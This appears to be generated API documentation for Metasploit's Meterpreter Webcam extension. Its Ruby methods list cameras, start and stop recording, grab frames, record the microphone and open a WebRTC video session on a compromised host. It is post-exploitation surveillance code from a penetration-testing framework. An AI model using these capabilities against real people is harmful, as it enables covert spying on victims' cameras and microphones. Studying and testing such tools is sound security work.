Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam

Inherits:
Object
  • Object
show all
Includes:
Msf::Post::Common, Msf::Post::File
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb

Overview

This meterpreter extension can list and capture from webcams and/or microphone

Instance Attribute Summary collapse

Instance Method Summary collapse

Methods included from Msf::Post::File

#append_file, #cd, #directory?, #exist?, #expand_path, #file?, #file_local_digestmd5, #file_local_digestsha1, #file_local_digestsha2, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #file_rm, #pwd, #read_file, #rename_file, #rm_f, #upload_file, #write_file

Methods included from Msf::Post::Common

#cmd_exec, #cmd_exec_get_pid, #get_env, #get_envs, #has_pid?, #peer, #report_vm, #rhost, #rport

Constructor Details

#initialize(client) ⇒ Webcam


22
23
24
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 22

def initialize(client)
  @client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client


88
89
90
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 88

def client
  @client
end

Instance Method Details

#record_mic(duration) ⇒ Object

Record from default audio source for duration seconds; returns a low-quality wav file


81
82
83
84
85
86
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 81

def record_mic(duration)
  request = Packet.create_request('webcam_audio_record')
  request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
end

#sessionObject


26
27
28
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 26

def session
  @client
end

#webcam_chat(server) ⇒ Object

Starts a webcam session with a remote user via WebRTC


65
66
67
68
69
70
71
72
73
74
75
76
77
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 65

def webcam_chat(server)
  offerer_id = Rex::Text.rand_text_alphanumeric(10)
  channel    = Rex::Text.rand_text_alphanumeric(20)

  remote_browser_path = get_webrtc_browser_path

  if remote_browser_path.blank?
    raise RuntimeError, "Unable to find a suitable browser on the target machine"
  end

  ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
  connect_video_chat(server, channel, offerer_id)
end

#webcam_get_frame(quality) ⇒ Object


47
48
49
50
51
52
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 47

def webcam_get_frame(quality)
  request = Packet.create_request('webcam_get_frame')
  request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
end

#webcam_listObject


30
31
32
33
34
35
36
37
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 30

def webcam_list
  response = client.send_request(Packet.create_request('webcam_list'))
  names = []
  response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
    names << tlv.value
  }
  names
end

#webcam_start(cam) ⇒ Object

Starts recording video from video source of index cam


40
41
42
43
44
45
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 40

def webcam_start(cam)
  request = Packet.create_request('webcam_start')
  request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
  client.send_request(request)
  true
end

#webcam_stopObject


54
55
56
57
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 54

def webcam_stop
  client.send_request( Packet.create_request( 'webcam_stop' )  )
  true
end